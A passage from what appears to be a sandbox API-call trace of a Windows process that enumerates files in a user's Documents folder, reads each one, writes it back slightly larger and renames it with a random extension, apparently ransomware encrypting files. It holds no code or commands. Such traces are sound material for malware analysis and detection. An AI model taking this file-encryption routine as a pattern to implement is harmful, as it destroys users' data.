ftLastAccessTime.dwHighDateTime=0x1d8bd5c, ftLastWriteTime.dwLowDateTime=0x687b94c0, ftLastWriteTime.dwHighDateTime=0x1d8bd5c, nFileSizeHigh=0x0, nFileSizeLow=0x12c7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXgZA3JD1f_.rtf", cAlternateFileName="IXGZA3~1.RTF")) returned 1 [0154.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb5fd80, ftCreationTime.dwHighDateTime=0x1d8b3f9, ftLastAccessTime.dwLowDateTime=0x912ffbf0, ftLastAccessTime.dwHighDateTime=0x1d8bf8b, ftLastWriteTime.dwLowDateTime=0x912ffbf0, ftLastWriteTime.dwHighDateTime=0x1d8bf8b, nFileSizeHigh=0x0, nFileSizeLow=0x178b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="O5hM2sANeBEXGTf3mc.pdf", cAlternateFileName="O5HM2S~1.PDF")) returned 1 [0154.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b00c290, ftCreationTime.dwHighDateTime=0x1d8b663, ftLastAccessTime.dwLowDateTime=0x7944e50, ftLastAccessTime.dwHighDateTime=0x1d8bf6d, ftLastWriteTime.dwLowDateTime=0x7944e50, ftLastWriteTime.dwHighDateTime=0x1d8bf6d, nFileSizeHigh=0x0, nFileSizeLow=0x8b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VrEWF.odp", cAlternateFileName="")) returned 1 [0154.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b00c290, ftCreationTime.dwHighDateTime=0x1d8b663, ftLastAccessTime.dwLowDateTime=0x7944e50, ftLastAccessTime.dwHighDateTime=0x1d8bf6d, ftLastWriteTime.dwLowDateTime=0x7944e50, ftLastWriteTime.dwHighDateTime=0x1d8bf6d, nFileSizeHigh=0x0, nFileSizeLow=0x8b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VrEWF.odp", cAlternateFileName="")) returned 0 [0154.411] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0154.411] SetErrorMode (uMode=0x0) returned 0x1 [0154.411] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\GBQN6G.pptx", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\GBQN6G.pptx", lpFilePart=0x0) returned 0x33 [0154.411] SetErrorMode (uMode=0x1) returned 0x0 [0154.411] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\GBQN6G.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\gbqn6g.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.412] GetFileType (hFile=0x1d0) returned 0x1 [0154.412] SetErrorMode (uMode=0x0) returned 0x1 [0154.412] GetFileType (hFile=0x1d0) returned 0x1 [0154.412] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x3cb3 [0154.412] ReadFile (in: hFile=0x1d0, lpBuffer=0x2829d10, nNumberOfBytesToRead=0x3cb3, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2829d10*, lpNumberOfBytesRead=0x21d418*=0x3cb3, lpOverlapped=0x0) returned 1 [0154.413] CloseHandle (hObject=0x1d0) returned 1 [0154.480] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\GBQN6G.pptx", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\GBQN6G.pptx", lpFilePart=0x0) returned 0x33 [0154.480] SetErrorMode (uMode=0x1) returned 0x0 [0154.480] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\GBQN6G.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\gbqn6g.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.482] GetFileType (hFile=0x1d0) returned 0x1 [0154.482] SetErrorMode (uMode=0x0) returned 0x1 [0154.482] GetFileType (hFile=0x1d0) returned 0x1 [0154.482] WriteFile (in: hFile=0x1d0, lpBuffer=0x291caf0*, nNumberOfBytesToWrite=0x3cc0, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x291caf0*, lpNumberOfBytesWritten=0x21d498*=0x3cc0, lpOverlapped=0x0) returned 1 [0154.483] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\GBQN6G.pptx", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\GBQN6G.pptx", lpFilePart=0x0) returned 0x33 [0154.483] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\GBQN6G.pptx.knzszl", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\GBQN6G.pptx.knzszl", lpFilePart=0x0) returned 0x3a [0154.483] SetErrorMode (uMode=0x1) returned 0x0 [0154.483] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\GBQN6G.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\gbqn6g.pptx"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x627c3620, ftCreationTime.dwHighDateTime=0x1d8bd15, ftLastAccessTime.dwLowDateTime=0x9f0ca440, ftLastAccessTime.dwHighDateTime=0x1d8be95, ftLastWriteTime.dwLowDateTime=0x588e9f00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x3cc0)) returned 1 [0154.483] SetErrorMode (uMode=0x0) returned 0x1 [0154.483] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\GBQN6G.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\gbqn6g.pptx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\GBQN6G.pptx.knzszl" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\gbqn6g.pptx.knzszl")) returned 1 [0154.484] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\gohAPD YvxpiV5JD.ppt", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\gohAPD YvxpiV5JD.ppt", lpFilePart=0x0) returned 0x3c [0154.484] SetErrorMode (uMode=0x1) returned 0x0 [0154.484] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\gohAPD YvxpiV5JD.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\gohapd yvxpiv5jd.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.485] GetFileType (hFile=0x1d0) returned 0x1 [0154.485] SetErrorMode (uMode=0x0) returned 0x1 [0154.485] GetFileType (hFile=0x1d0) returned 0x1 [0154.485] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x1834f [0154.486] ReadFile (in: hFile=0x1d0, lpBuffer=0x1286cc58, nNumberOfBytesToRead=0x1834f, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x1286cc58*, lpNumberOfBytesRead=0x21d418*=0x1834f, lpOverlapped=0x0) returned 1 [0154.516] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\gohAPD YvxpiV5JD.ppt", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\gohAPD YvxpiV5JD.ppt", lpFilePart=0x0) returned 0x3c [0154.516] SetErrorMode (uMode=0x1) returned 0x0 [0154.516] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\gohAPD YvxpiV5JD.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\gohapd yvxpiv5jd.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.517] GetFileType (hFile=0x1d0) returned 0x1 [0154.517] SetErrorMode (uMode=0x0) returned 0x1 [0154.517] GetFileType (hFile=0x1d0) returned 0x1 [0154.517] WriteFile (in: hFile=0x1d0, lpBuffer=0x128e5d68*, nNumberOfBytesToWrite=0x18350, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x128e5d68*, lpNumberOfBytesWritten=0x21d498*=0x18350, lpOverlapped=0x0) returned 1 [0154.520] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\gohAPD YvxpiV5JD.ppt", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\gohAPD YvxpiV5JD.ppt", lpFilePart=0x0) returned 0x3c [0154.521] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\gohAPD YvxpiV5JD.ppt.rqnezo", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\gohAPD YvxpiV5JD.ppt.rqnezo", lpFilePart=0x0) returned 0x43 [0154.521] SetErrorMode (uMode=0x1) returned 0x0 [0154.521] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\gohAPD YvxpiV5JD.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\gohapd yvxpiv5jd.ppt"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4999e3f0, ftCreationTime.dwHighDateTime=0x1d8b856, ftLastAccessTime.dwLowDateTime=0x44ccca00, ftLastAccessTime.dwHighDateTime=0x1d8bc10, ftLastWriteTime.dwLowDateTime=0x589361c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x18350)) returned 1 [0154.521] SetErrorMode (uMode=0x0) returned 0x1 [0154.521] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\gohAPD YvxpiV5JD.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\gohapd yvxpiv5jd.ppt"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\gohAPD YvxpiV5JD.ppt.rqnezo" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\gohapd yvxpiv5jd.ppt.rqnezo")) returned 1 [0154.525] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\IXgZA3JD1f_.rtf", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\IXgZA3JD1f_.rtf", lpFilePart=0x0) returned 0x37 [0154.525] SetErrorMode (uMode=0x1) returned 0x0 [0154.525] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\IXgZA3JD1f_.rtf" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\ixgza3jd1f_.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.525] GetFileType (hFile=0x1d0) returned 0x1 [0154.525] SetErrorMode (uMode=0x0) returned 0x1 [0154.525] GetFileType (hFile=0x1d0) returned 0x1 [0154.525] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x12c7f [0154.526] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a02098, nNumberOfBytesToRead=0x12c7f, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2a02098*, lpNumberOfBytesRead=0x21d418*=0x12c7f, lpOverlapped=0x0) returned 1 [0154.630] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\IXgZA3JD1f_.rtf", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\IXgZA3JD1f_.rtf", lpFilePart=0x0) returned 0x37 [0154.631] SetErrorMode (uMode=0x1) returned 0x0 [0154.631] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\IXgZA3JD1f_.rtf" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\ixgza3jd1f_.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.633] GetFileType (hFile=0x1d0) returned 0x1 [0154.633] SetErrorMode (uMode=0x0) returned 0x1 [0154.633] GetFileType (hFile=0x1d0) returned 0x1 [0154.633] WriteFile (in: hFile=0x1d0, lpBuffer=0x292ece8*, nNumberOfBytesToWrite=0x12c80, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x292ece8*, lpNumberOfBytesWritten=0x21d498*=0x12c80, lpOverlapped=0x0) returned 1 [0154.635] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\IXgZA3JD1f_.rtf", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\IXgZA3JD1f_.rtf", lpFilePart=0x0) returned 0x37 [0154.636] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\IXgZA3JD1f_.rtf.2f13fx", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\IXgZA3JD1f_.rtf.2f13fx", lpFilePart=0x0) returned 0x3e [0154.636] SetErrorMode (uMode=0x1) returned 0x0 [0154.636] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\IXgZA3JD1f_.rtf" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\ixgza3jd1f_.rtf"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x329e0410, ftCreationTime.dwHighDateTime=0x1d8ba31, ftLastAccessTime.dwLowDateTime=0x687b94c0, ftLastAccessTime.dwHighDateTime=0x1d8bd5c, ftLastWriteTime.dwLowDateTime=0x58a66cc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x12c80)) returned 1 [0154.636] SetErrorMode (uMode=0x0) returned 0x1 [0154.636] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\IXgZA3JD1f_.rtf" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\ixgza3jd1f_.rtf"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\IXgZA3JD1f_.rtf.2f13fx" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\ixgza3jd1f_.rtf.2f13fx")) returned 1 [0154.641] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\O5hM2sANeBEXGTf3mc.pdf", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\O5hM2sANeBEXGTf3mc.pdf", lpFilePart=0x0) returned 0x3e [0154.641] SetErrorMode (uMode=0x1) returned 0x0 [0154.641] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\O5hM2sANeBEXGTf3mc.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\o5hm2sanebexgtf3mc.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.642] GetFileType (hFile=0x1d0) returned 0x1 [0154.642] SetErrorMode (uMode=0x0) returned 0x1 [0154.642] GetFileType (hFile=0x1d0) returned 0x1 [0154.642] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x178b2 [0154.642] ReadFile (in: hFile=0x1d0, lpBuffer=0x129239f8, nNumberOfBytesToRead=0x178b2, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x129239f8*, lpNumberOfBytesRead=0x21d418*=0x178b2, lpOverlapped=0x0) returned 1 [0154.684] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\O5hM2sANeBEXGTf3mc.pdf", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\O5hM2sANeBEXGTf3mc.pdf", lpFilePart=0x0) returned 0x3e [0154.685] SetErrorMode (uMode=0x1) returned 0x0 [0154.685] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\O5hM2sANeBEXGTf3mc.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\o5hm2sanebexgtf3mc.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.687] GetFileType (hFile=0x1d0) returned 0x1 [0154.687] SetErrorMode (uMode=0x0) returned 0x1 [0154.687] GetFileType (hFile=0x1d0) returned 0x1 [0154.687] WriteFile (in: hFile=0x1d0, lpBuffer=0x12999630*, nNumberOfBytesToWrite=0x178c0, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x12999630*, lpNumberOfBytesWritten=0x21d498*=0x178c0, lpOverlapped=0x0) returned 1 [0154.690] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\O5hM2sANeBEXGTf3mc.pdf", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\O5hM2sANeBEXGTf3mc.pdf", lpFilePart=0x0) returned 0x3e [0154.690] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\O5hM2sANeBEXGTf3mc.pdf.l8v5n1", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\O5hM2sANeBEXGTf3mc.pdf.l8v5n1", lpFilePart=0x0) returned 0x45 [0154.690] SetErrorMode (uMode=0x1) returned 0x0 [0154.690] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\O5hM2sANeBEXGTf3mc.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\o5hm2sanebexgtf3mc.pdf"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb5fd80, ftCreationTime.dwHighDateTime=0x1d8b3f9, ftLastAccessTime.dwLowDateTime=0x912ffbf0, ftLastAccessTime.dwHighDateTime=0x1d8bf8b, ftLastWriteTime.dwLowDateTime=0x58ad90e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x178c0)) returned 1 [0154.690] SetErrorMode (uMode=0x0) returned 0x1 [0154.691] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\O5hM2sANeBEXGTf3mc.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\o5hm2sanebexgtf3mc.pdf"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\O5hM2sANeBEXGTf3mc.pdf.l8v5n1" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\o5hm2sanebexgtf3mc.pdf.l8v5n1")) returned 1 [0154.761] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\VrEWF.odp", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\VrEWF.odp", lpFilePart=0x0) returned 0x31 [0154.761] SetErrorMode (uMode=0x1) returned 0x0 [0154.761] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\VrEWF.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\vrewf.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.761] GetFileType (hFile=0x1d0) returned 0x1 [0154.762] SetErrorMode (uMode=0x0) returned 0x1 [0154.762] GetFileType (hFile=0x1d0) returned 0x1 [0154.762] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x8b0 [0154.762] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a23e60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2a23e60*, lpNumberOfBytesRead=0x21d418*=0x8b0, lpOverlapped=0x0) returned 1 [0154.821] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\VrEWF.odp", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\VrEWF.odp", lpFilePart=0x0) returned 0x31 [0154.821] SetErrorMode (uMode=0x1) returned 0x0 [0154.821] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\VrEWF.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\vrewf.odp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0154.822] GetFileType (hFile=0x1d0) returned 0x1 [0154.822] SetErrorMode (uMode=0x0) returned 0x1 [0154.822] GetFileType (hFile=0x1d0) returned 0x1 [0154.823] WriteFile (in: hFile=0x1d0, lpBuffer=0x2908630*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x21d3b8, lpOverlapped=0x0 | out: lpBuffer=0x2908630*, lpNumberOfBytesWritten=0x21d3b8*=0x8c0, lpOverlapped=0x0) returned 1 [0154.824] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\VrEWF.odp", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\VrEWF.odp", lpFilePart=0x0) returned 0x31 [0154.824] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\VrEWF.odp.qaqzuc", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\VrEWF.odp.qaqzuc", lpFilePart=0x0) returned 0x38 [0154.824] SetErrorMode (uMode=0x1) returned 0x0 [0154.824] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\VrEWF.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\vrewf.odp"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b00c290, ftCreationTime.dwHighDateTime=0x1d8b663, ftLastAccessTime.dwLowDateTime=0x7944e50, ftLastAccessTime.dwHighDateTime=0x1d8bf6d, ftLastWriteTime.dwLowDateTime=0x58c2fd40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x8c0)) returned 1 [0154.824] SetErrorMode (uMode=0x0) returned 0x1 [0154.824] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\VrEWF.odp" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\vrewf.odp"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\VrEWF.odp.qaqzuc" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\vrewf.odp.qaqzuc")) returned 1 [0154.825] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4", lpFilePart=0x0) returned 0x2c [0154.825] SetErrorMode (uMode=0x1) returned 0x0 [0154.825] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\DZo4\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\dzo4\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb644e960, ftCreationTime.dwHighDateTime=0x1d8b481, ftLastAccessTime.dwLowDateTime=0x1329f310, ftLastAccessTime.dwHighDateTime=0x1d8b8b4, ftLastWriteTime.dwLowDateTime=0x1329f310, ftLastWriteTime.dwHighDateTime=0x1d8b8b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0154.826] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb644e960, ftCreationTime.dwHighDateTime=0x1d8b481, ftLastAccessTime.dwLowDateTime=0x1329f310, ftLastAccessTime.dwHighDateTime=0x1d8b8b4, ftLastWriteTime.dwLowDateTime=0x1329f310, ftLastWriteTime.dwHighDateTime=0x1d8b8b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.826] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81095270, ftCreationTime.dwHighDateTime=0x1d8b753, ftLastAccessTime.dwLowDateTime=0xe6533690, ftLastAccessTime.dwHighDateTime=0x1d8c041, ftLastWriteTime.dwLowDateTime=0xe6533690, ftLastWriteTime.dwHighDateTime=0x1d8c041, nFileSizeHigh=0x0, nFileSizeLow=0x1831b, dwReserved0=0x0, dwReserved1=0x0, cFileName="8 aikgzugk.odt", 